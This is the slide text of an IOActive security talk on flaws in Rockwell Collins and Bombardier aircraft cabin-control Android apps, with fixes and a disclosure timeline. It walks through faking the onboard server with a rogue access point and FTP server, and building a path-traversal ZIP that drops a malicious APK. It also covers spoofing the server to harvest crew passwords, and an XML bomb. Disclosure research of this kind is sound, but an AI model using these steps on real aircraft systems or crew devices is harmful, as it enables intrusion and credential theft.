  • 7. 7 Introduction ©2019 IOActive, Inc. All Rights Reserved. We break things: • Breaking Extreme Networks WingOS: How to Own Millions of Devices Running on Aircrafts, Government, Smart Cities and More by Josep Pi • In Flight Hacking System by Rubén Santamarta
  • 8. 8 Introduction ©2019 IOActive, Inc. All Rights Reserved. The push to incorporate remote management capabilities into products has swept across a number of industries. A good example of this is the famous Internet of Things (IoT), where modern home devices from crockpots to thermostats can be managed remotely from a tablet or smartphone. One of the biggest problems associated with this new feature is a lack of security. Unfortunately nobody is surprised when a new, widespread vulnerability appears in the IoT world. However, the situation becomes a bit more concerning when similar technologies appear in the aviation sector.
  • 9. 9 Introduction ©2019 IOActive, Inc. All Rights Reserved. Nowadays we can find Cabin and In-Flight entertainment systems that can be managed from mobile devices owned by crew members and/or passengers. It is important to note that usually these systems should not have direct connection to avionics, so although it is certainly possible for a malicious actor to create situations of discomfort onboard an aircraft, by playing with PAX, temperature or light intensity there is no direct threat to safety.
  • 10. 10 The Applications ©2019 IOActive, Inc. All Rights Reserved. Bombardier Cabin Control Developed by Rockwell Collins Venue Cabin Remote Developed by Rockwell Collins
  • 11. 11 The Applications ©2019 IOActive, Inc. All Rights Reserved. The discovered vulnerabilities affect the crew and passenger’s devices. Venue Cabin Remote is the Android (and iOS) Application developed by Rockwell Collins to manage the available cabin capabilities in the aircraft such as cabin temperature, light intensity and much more. The system is based on a wireless access point installed onboard the aircraft that provides network connectivity from the passengers and crew members to the Venue Cabin server. The following figure shows the infrastructure of the Venue and Bombardier Cabin management systems.
  • 12. 12 The Applications ©2019 IOActive, Inc. All Rights Reserved. The big picture of the system is based on a wireless access point installed in the aircraft how gives network connectivity for the passengers and crew members to the aircraft server.
  • 13. 13 The Applications - Infrastructure ©2019 IOActive, Inc. All Rights Reserved.
  • 14. 14 The Applications - User Roles ©2019 IOActive, Inc. All Rights Reserved. The apps in scope have three roles: • Crew • Fwd Cabin • Aft Cabin ‘Fwd Cabin’ and ‘Aft Cabin’ can manage operations related to the passenger accommodations such as lights, temperature, checking flight information, and entertainment. The most interesting role for an attacker would be ‘Crew’ as it can manage all the capabilities available to the other roles.
  • 15. 15 Talk’s Purpose ©2019 IOActive, Inc. All Rights Reserved. The behavior of these applications is clear but, how to analyze and find bugs in them without to have a real environment to research? The purpose of this talk is to provide an overview of the operation of these emergent systems, with a focus on the vulnerabilities that affect the mobile apps, also providing a detailed explanation on how to exploit them. Multiple vulnerabilities were found by analyzing and decompiling the Android applications used to manage these systems.
  • 16. 16 The Analysis ©2019 IOActive, Inc. All Rights Reserved. The Android Apps analyzed in this post are: 1. Venue Cabin Remote - Android Application Version 2.1.12 (Current Version 2.2.1) 1. Bombardier Cabin Control - Android Application Version 2.1.12 (Current Version 2.2.1)
  • 17. 17 The Analysis - Google Play ©2019 IOActive, Inc. All Rights Reserved.
  • 18. 18 The Analysis ©2019 IOActive, Inc. All Rights Reserved. When the application is launched it provides ‘demo mode’ when it does not detect a valid production environment. It is important to note that this mode is just an additional functionality added to the app, but the apk we downloaded actually contains all the implemented functionality required to operate the system under regular conditions.
  • 19. 19 The Analysis - The Demo Mode ©2019 IOActive, Inc. All Rights Reserved.
  • 20. 20 The Analysis ©2019 IOActive, Inc. All Rights Reserved. During the post, we will combine passive analysis i.e log analysis and captured network traffic with static analysis, by analyzing the source code of the decompiled binary to understand how the application works.
  • 21. 21 The Analysis ©2019 IOActive, Inc. All Rights Reserved. During the research process, when the Bombarider application was analysed, we noticed that both applications were internally similar. So basically, Bombardier Cabin Control is a rebranding of Venue Cabin Remote.
  • 22. 22 The Analysis - Decompiling ©2019 IOActive, Inc. All Rights Reserved. To get the java code from the APK we will use jadx jadx --deobf --show-bad-code -d rockwell com.rockwellcollins.venue.cabinremote.apk
  • 23. 23 The Analysis - AndroidManifest.xml ©2019 IOActive, Inc. All Rights Reserved. Permissions: • WRITE_EXTERNAL_STORAGE • CHANGE_WIFI_MULTICAST_STATE • INTERNET • ACCESS_NETWORK_STATE • CHANGE_WIFI_STATE • ACCESS_WIFI_STATE • SYSTEM_ALERT_WINDOW • KILL_BACKGROUND_PROCESSES • READ_EXTERNAL_STORAGE
  • 24. 24 The Analysis - Static (logcat) ©2019 IOActive, Inc. All Rights Reserved. 782 967 I ActivityManager: Start proc 3790:com.rockwellcollins.venue.cabinremote/u0a81 for activity com.rockwellcollins.venue.cabinremote/.SplashActivity 3790 3790 I CabinRemote: [INFO] ***** CabinRemoteApp Started. ****** - time_stamp_key:1553016164721 3790 3790 I AppSettings: [INFO] Storage folder to use: /data/user/0/com.rockwellcollins.venue.cabinremote/files - time_stamp_key:1553016164722 time_stamp_key:1553016164860 3790 3790 V CabinRemote: StateUninitialized START_INIT 3790 3790 I System.out: Received StateUninitialized : START_INIT Session ID f2c60a5a-90e7-4abe-9886- 0a99f0a977b4 3790 3790 I CabinRemote: CabinRemote clearPrefs(true) 3790 3790 D StateInitializing: [DEBUG] Received StateInitializing : START_INITIALIZING - time_stamp_key:1553016164894 3790 3808 I Adreno-EGL: <qeglDrvAPI_eglInitialize:379>: QUALCOMM Build: 10/21/15, 369a2ea, I96aee987eb 3790 3808 I OpenGLRenderer: Initialized EGL, version 1.4 3790 3808 D OpenGLRenderer: Swap behavior 1 3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 1 - time_stamp_key:1553016169928 3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 2 - time_stamp_key:1553016176011 3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 3 - time_stamp_key:1553016182075 3790 3790 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 - time_stamp_key:1553016183094 (Shorted to avoid “turra”)
  • 25. 25 The Analysis - Step1.java ©2019 IOActive, Inc. All Rights Reserved. private static MulticastLock lockWifi() { WifiManager wifiManager = (WifiManager) CabinRemote.getApp().getSystemService("wifi"); MulticastLock lock = wifiManager.createMulticastLock("multicastLock"); lock.setReferenceCounted(true); lock.acquire(); if (!(wifiManager.getConnectionInfo() == null || wifiManager.getConnectionInfo().getSSID() == null || !wifiManager.getConnectionInfo().getSSID().contains("dd-wrt-dev"))) { MCAST_GROUP_IP = CabinRemote.DEBUG_MULTICAST_SERVER_IP; } return lock; }
  • 26. 26 The Analysis - State Machine ©2019 IOActive, Inc. All Rights Reserved. ‘CommandEvent.java’ and ‘StateInitializing.java’ implement the state machine for this protocol. i.e ‘com/rockwellcollins/venue/cabinremote/core/init/Step2.java’, when the run() function is finished, it moves to the next state: EventBus.post(new CommandEvent(Command.DONE_STEP2, result)); On function onEvent() at ‘com/rockwellcollins/venue/cabinremote/core/init/StateInitializing.java‘ the event is processed and checked whether it finished as the application expected.
  • 27. 27 The Analysis - Step1.java & Multicast ©2019 IOActive, Inc. All Rights Reserved. IsPacketRcvd = false; numOfAttemptForRcvdPacket = 0; while (!IsPacketRcvd) { numOfAttemptForRcvdPacket++; this.mMulticastSocket.receive(inPacket); packLength = inPacket.getLength(); if (packLength > 0) { IsPacketRcvd = true; this.ConnAnnouncementMsg = (ConnAnnouncement) gson.fromJson(new String(this.inBuf, 0, packLength), ConnAnnouncement.class); if (this.ConnAnnouncementMsg != null) { result.isInError = false; result.data = this.ConnAnnouncementMsg; unlockWifi(this.mMulticastLock); while (IsBindingFailed) { numOfAttemptForBindingIPAddress++; this.mMulticastSocket = new MulticastSocket(53000); if (this.IsTimeoutRequired) { this.mMulticastSocket.setSoTimeout(5000);}
  • 28. 28 The Analysis - ConnAnnouncement.java ©2019 IOActive, Inc. All Rights Reserved. package com.rockwellcollins.venue.cabinremote.core.init; import com.google.gson.annotations.SerializedName; import com.rockwellcollins.venue.cabinremote.util.StringTool; public class ConnAnnouncement { String address; @SerializedName("app.ver") String appVer; @SerializedName("conf.path") String confPath; @SerializedName("conf.ver") String confVer; String json; String port; String tree1; String tree2; String type; [...shorted to avoid “turra”...] public String toString() { return "ConnectionAnnouncement [confPath=" + this.confPath + ", confVer=" + this.confVer + ", appVer=" + this.appVer + ", type=" + this.type + ", address=" + this.address + ", port=" + this.port + ", tree1=" + this.tree1 + ", tree2=" + this.tree2 + "]"; } }
  • 29. 29 The Analysis - Step2.java ©2019 IOActive, Inc. All Rights Reserved. At Step2.java, the function downloadConfigFile(ConnAnnouncement connAnn) as the following line shows: The method is implemented in FileDownloader.java and the definition is pretty clear: checkAppVersion in InitTask.java gives us some clues to set a possible valid value in the parameter app.ver and doInit provides us with the value for conf.ver success = FileDownloader.ftpDownloadFile(connAnn.address, connAnn.tree1, connAnn.tree2, connAnn.getConfPath(), CabinRemote.CONFIG_FILE_NAME, this.mAppSettings.getStoragePath()); ftpDownloadFile(String host, String userName, String password, String serverDir, String fileName, String localDir)
  • 30. 30 The Analysis - JSON’s Content ©2019 IOActive, Inc. All Rights Reserved. Finally, we will have a configuration that looks like this: {"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address ":"10.0.2.2","port":"21","tree1":"user","tree2":"password" }
  • 31. 31 The Analysis - The toolkit ©2019 IOActive, Inc. All Rights Reserved. For the next steps, we will use the next tools • Using a Linux box and the tool hostapd a WiFi access point is deployed. • Wireshark will be used to analyze the traffic between the “server” and the device. • To simulate the real environment which the app is expecting, we create a simple script to send the configuration over multicast.
  • 32. 32 The Analysis - sender.py ©2019 IOActive, Inc. All Rights Reserved. python sender.py - Sending -> {"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po rt":"21","tree1":"user","tree2":"password"} - Waiting 1 second... - Sending -> {"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po rt":"21","tree1":"user","tree2":"password"} - Waiting 1 second... - Sending -> {"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po rt":"21","tree1":"user","tree2":"password"} - Waiting 1 second...
  • 33. 33 The Analysis - AP_creator.sh ©2019 IOActive, Inc. All Rights Reserved. ./AP_creator.sh -> Setting IP Forwarding... done -> Unlocking wifi iface... done -> Configuring WiFi interface... done -> Creating AP - SSID: danito - Password: ******** - AP source: 10.0.2.2 / 255.255.255.0 - DHCP server: UP - DNS server: UP -> Enabling NAT... done Configuration file: ap.conf Using interface wlan0 with hwaddr 06:3d:2c:4a:b1:03 and ssid "dd-wrt-dev-danito" wlan0: interface state UNINITIALIZED->ENABLED wlan0: AP-ENABLED wlan0: STA 8c:3a:e3:63:09:70 IEEE 802.11: authenticated wlan0: STA 8c:3a:e3:63:09:70 IEEE 802.11: associated (aid 1) wlan0: AP-STA-CONNECTED 8c:3a:e3:63:09:70 wlan0: STA 8c:3a:e3:63:09:70 RADIUS: starting accounting session EEB466BB15D84FCB wlan0: STA 8c:3a:e3:63:09:70 WPA: pairwise key handshake completed (RSN)
  • 34. 34 The Analysis - Traffic Capture ©2019 IOActive, Inc. All Rights Reserved. With the new environment ready, the application is executed again, and the traffic is captured using Wireshark:
  • 35. 35 The Analysis - adb logcat ©2019 IOActive, Inc. All Rights Reserved. 12515 12515 I CabinRemote: [INFO] ***** CabinRemoteApp Started. ****** - time_stamp_key:1553081145813 12515 12515 I AppSettings: [INFO] Storage folder to use: /data/user/0/com.rockwellcollins.venue.cabinremote/files - time_stamp_key:1553081145813 12515 12515 I SplashActivity: [INFO] onCreate() called - time_stamp_key:1553081145870 12515 12515 I SplashActivity: [INFO] onResume() called appStatus UNINITIALIZED - time_stamp_key:1553081145933 12515 12515 V CabinRemote: StateUninitialized START_INIT 12515 12515 I System.out: Received StateUninitialized : START_INIT Session ID 45057425-aa78-4a99-8214-1ebbee7e29fb 12515 12515 I CabinRemote: CabinRemote clearPrefs(true) 12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : START_INITIALIZING - time_stamp_key:1553081145963 12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 - time_stamp_key:1553081146979 12515 12552 V Step2 : Step2 run ConfVer = 1.1.1 12515 12552 V Step2 : Step2 run confVerCached = CONF-VERSION-UNKNOWN 12515 12552 V Step2 : Step2 run confVerLoaded= CONF-VERSION-UNKNOWN 12515 12552 V Step2 : Step2 run confVerToLoad = CONF-VERSION-UNKNOWN 12515 12552 I CabinRemote: CabinRemote clearPrefs(true) 12515 12552 I Step2.checkAppVersion: [INFO] app version to compare: 4.1.1 - time_stamp_key:1553081146982 12515 12552 I Step2.checkAppVersion: [INFO] Major Version 4 - time_stamp_key:1553081146983 12515 12552 W Step2.checkAppVersion: [WARN] Venue version is higher than app version - time_stamp_key:1553081146983 03-20 12:25:47.013 12515 12552 W FileDownloader: [WARN] FTPDownloadFile - IO Exception. - time_stamp_key:1553081147013 java.net.ConnectException: Connection refused 12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP2 - time_stamp_key:1553081147014
  • 36. 36 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved. danito@ioa # cat ftp.msf use auxiliary/server/ftp set FTPPASS password set FTPUSER user set FTPROOT /tmp/research run danito@ioa # msfconsole -r ftp.msf [*] Processing ftp.msf for ERB directives. resource (ftp.msf)> use auxiliary/server/ftp resource (ftp.msf)> set FTPPASS password FTPPASS => password resource (ftp.msf)> set FTPUSER user FTPUSER => user resource (ftp.msf)> set FTPROOT /tmp/research/ FTPROOT => /tmp/research/ resource (ftp.msf)> run [*] Auxiliary module running as background job 0. [*] Starting persistent handler(s)... [*] Started service listener on 0.0.0.0:21 [*] Server started.
  • 37. 37 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved. Executing again the application we get the next traffic from the device: msf log: [*] 10.0.2.60:46983 FTP download request for RemoteConfiguration.xml
  • 38. 38 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved. The application is looking for a configuration file in XML format. The RemoteConfiguration.xml is a configuration file required by the application to load the aircraft configuration such us seats, lights, sensors, media, etc. A sample of this file is found into the APK files. The application uses to run the in Demo Mode.
  • 39. 39 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved.
  • 40. 40 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved. Then the application tries to download another file
  • 41. 41 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved. Like the previous step with the XML file and analyzing files and folders contained in the “assets” folder:
  • 42. 42 The Analysis - FTP server ©2019 IOActive, Inc. All Rights Reserved.
  • 43. 43©2019 IOActive, Inc. All Rights Reserved. At this point the application has completed the resources loading process. Analyzing the logs we confirm all the phases have been successfully completed. cat adb.logs | grep STEP 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 - time_stamp_key:1553096001644 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP2 - time_stamp_key:1553096001663 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP3 - time_stamp_key:1553096003678 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP4 - time_stamp_key:1553096003687 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP5 - time_stamp_key:1553096003723 18584 18584 V StateInitializing: StateInitializing DONE_STEP5 storing SSID "danito" 18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP6 - time_stamp_key:1553096005746
  • 44. 44 We are the plane ©2019 IOActive, Inc. All Rights Reserved.
  • 45. 45 We are the plane - Demo ©2019 IOActive, Inc. All Rights Reserved.
  • 46. 46 We are the plane - Demo ©2019 IOActive, Inc. All Rights Reserved.
  • 47. 47 Vulnerabilities - ZIP Files: Path traversal / Arbitrary File Write ©2019 IOActive, Inc. All Rights Reserved. As we have seen during the provisioning procedure of the mobile app, a ZIP file is downloaded from the server. Unfortunately, the function to extract the ZIP files doesn’t sanitize the paths of the zip entries, which can be leveraged to perform a path traversal attack.
  • 48. 48 Vulnerabilities - ZIP Files: Path traversal / Arbitrary File Write ©2019 IOActive, Inc. All Rights Reserved. The function that handles ZIP files downloaded from the server doesn’t sanitize the path of those file entries present in the ZIP. As a result, it is possible to add path traversal patterns ('../..') in these entries in order to write arbitrary files outside the expected directory, for example, to SDCard. If the application has permission to do it.
  • 49. 49 Vulnerabilities - ZIP Files: Path traversal / Arbitrary File Write ©2019 IOActive, Inc. All Rights Reserved. As proof of concept a ZIP file containing a path transversal payload intended to create malicious APK on the sdcard directory was crafted. To craft the ZIP file the tool evilarc.py was used (https://github.com/ptoomey3/evilarc) The vulnerable function is included in two classes: • ./java/com/rockwellcollins/venue/cabinremote/core/init/FileTool.java • ./java/com/rockwellcollins/venue/cabinremote/util/FileTool.java danito@ioa # ls Malicious.apk evilarc.py danito@ioa # python evilarc.py Malicious.apk -o unix -p sdcard -f DassaultIcons_android_xhdpi.zip Creating DassaultIcons_android_xhdpi.zip containing ../../../../../../../../sdcard/Malicious.apk
  • 50. 50©2019 IOActive, Inc. All Rights Reserved. public static void unzipFile(ZipFile zipFile, File jiniHomeParentDir) { File file; IOException e; Throwable th; Enumeration files = zipFile.entries(); FileOutputStream fos = null; while (files.hasMoreElements()) { try { ZipEntry entry = (ZipEntry) files.nextElement(); InputStream eis = zipFile.getInputStream(entry); byte[] buffer = new byte[1024]; File f = new File(jiniHomeParentDir.getAbsolutePath() + File.separator + entry.getName()); try { if (entry.isDirectory()) { f.mkdirs(); if (fos != null) { try { fos.close(); file = f; } catch (IOException e2) { e2.printStackTrace(); file = f; } } } else {
  • 51. 51©2019 IOActive, Inc. All Rights Reserved. f.getParentFile().mkdirs(); f.createNewFile(); FileOutputStream fos2 = new FileOutputStream(f); while (true) { try { int bytesRead = eis.read(buffer); if (bytesRead == -1) { break; } fos2.write(buffer, 0, bytesRead); fos2.getFD().sync(); } catch (IOException e3) { e2 = e3; fos = fos2; file = f; } catch (Throwable th2) { th = th2; fos = fos2; file = f; } } if (fos2 != null) { try { fos2.close(); } catch (IOException e22) {
  • 52. 52 Vulnerabilities - Demo time ©2019 IOActive, Inc. All Rights Reserved.
  • 53. 53 Vulnerabilities - Demo time ©2019 IOActive, Inc. All Rights Reserved.
  • 54. 54 Vulnerabilities - Lack of Legitimacy Checking of the Server ©2019 IOActive, Inc. All Rights Reserved. Based on the application design, it could be possible to broadcast a valid server configuration in a legit aircraft WiFi network. The Android Application of passenger and crew members could be hijacked to trick them into connecting to a fake server. In case of crew members, this can be abused to request them the password to access to the protected area in the application. Later on, an attacker could use these valid credentials to connect to the legit server, thus potentially performing malicious operations on the Cabin Management System...
  • 55. 55 Vulnerabilities - Unencrypted Communications ©2019 IOActive, Inc. All Rights Reserved. The Application doesn't implement a secure communication layer when communicating to the server. As a result, an attacker may perform a Man-in-the- Middle attack to get passwords, sessions ID or any other sensitive information. If the application is found running in an unprotected WiFi network an attacker may sniff the communication and get information without even launching a Man-in-the-Middle attack. The following example shows the app using insecure FTP to download different files. More details were found in the file FileDownloader.java: HttpURLConnection conn = (HttpURLConnection) new URL("http", host, 80, serverPath + fileName).openConnection(); static boolean ftpDownloadFile(String host, String userName, String password, String serverDir, String fileName, String localDir)
  • 56. 56 Fixes ©2019 IOActive, Inc. All Rights Reserved. • Implement a secure communication channel with the server e.g. by adding a TLS layer. • Implement client-server authentication. • Sensitive files, such as the configuration file, should be cryptographically signed. • Secure the ZIP parser by adding a path sanitizer and ideally validating the integrity of decompressed files. • Remove debug information and testing capabilities included in the production build, such as 'debug SSID' or password logging. • It is highly recommended to analyze the iOS applications to verify if they are affected by the same issues.
  • 57. 57 Other Minor Issues ©2019 IOActive, Inc. All Rights Reserved. • Sensitive Information available in logcat: ./java/p014com/rockwellcollins/venue/cabinremote/p016ui/action/ContextAct ion.java Log.v(f799TAG, "Password = " + password + ", context = " + authContext); • Log files stored in sdcard: /sdcard/com.rockwellcollins.venue.cabinremote/cabinremote.log [INFO] 0 ***** CabinRemoteApp Started. ****** - time_stamp_key:1510848709279 [INFO] 2 Storage folder to use: /data/user/0/com.rockwellcollins.venue.cabinremote/files - time_stamp_key:1510848709288 [INFO] 63 onCreate() called - time_stamp_key:1510848709349 [INFO] 151 onResume() called appStatus UNINITIALIZED - time_stamp_key:1510848709437 [DEBUG] 206 Received StateInitializing : START_INITIALIZING - time_stamp_key:1510848709492 [WARN] 5218 Conn Announcement listenging timeout... 1 - time_stamp_key:1510848714504 [WARN] 11247 Conn Announcement listenging timeout... 2 - time_stamp_key:1510848720533 [WARN] 17255 Conn Announcement listenging timeout... 3 - time_stamp_key:1510848726540 [DEBUG] 18304 Received StateInitializing : DONE_STEP1 - time_stamp_key:1510848727589
  • 58. 58 Other Minor Issues ©2019 IOActive, Inc. All Rights Reserved. • Vulnerable to DoS attacks in XML parser and even the unzip functionality. – The insecure function to deflate ZIP files doesn’t check the integrity of the file so it is possible to launch a DoS attack against the mobile device. – The mobile application XML parser is vulnerable to XML bomb. This vulnerability lead in a Denegation of Service of the mobile application by resources exhaustion to parse the malicious XML. When the Android Device tried to parse the XML (RemoteConfigurationFile.xml) the error shows below were getting from logcat: 13332 13833 W art : Throwing OutOfMemoryError "Failed to allocate a 128887990 byte allocation with 16777216 free bytes and 90MB until OOM"
  • 59. 59 Research Timeline ©2019 IOActive, Inc. All Rights Reserved. • Research Timeline – 2018 February: IOActive discovers vulnerability – 2018 February: IOActive notifies vendor – 2019 March: IOActive advisory published
  • 60. 60 Research Timeline - The fix ©2019 IOActive, Inc. All Rights Reserved. Permissions Requested in Venue Cabin Remote Version 2.1.12 (Research Version) • WRITE_EXTERNAL_STORAGE • CHANGE_WIFI_MULTICAST_STATE • INTERNET • ACCESS_NETWORK_STATE • CHANGE_WIFI_STATE • ACCESS_WIFI_STATE • SYSTEM_ALERT_WINDOW • KILL_BACKGROUND_PROCESSES • READ_EXTERNAL_STORAGE
  • 61. 61 Research Timeline - The fix ©2019 IOActive, Inc. All Rights Reserved. New Permissions Requested in Venue Cabin Remote 2.2.2 (Current Version Updated on 11st March 2019): • WRITE_EXTERNAL_STORAGE • CHANGE_WIFI_MULTICAST_STATE • INTERNET • ACCESS_NETWORK_STATE • CHANGE_WIFI_STATE • ACCESS_WIFI_STATE • SYSTEM_ALERT_WINDOW • KILL_BACKGROUND_PROCESSES • READ_EXTERNAL_STORAGE
  • 62. 62 Research Timeline - The (not) fix ©2019 IOActive, Inc. All Rights Reserved.
  • 63. 63 Thank you RootedCON!! ©2019 IOActive, Inc. All Rights Reserved.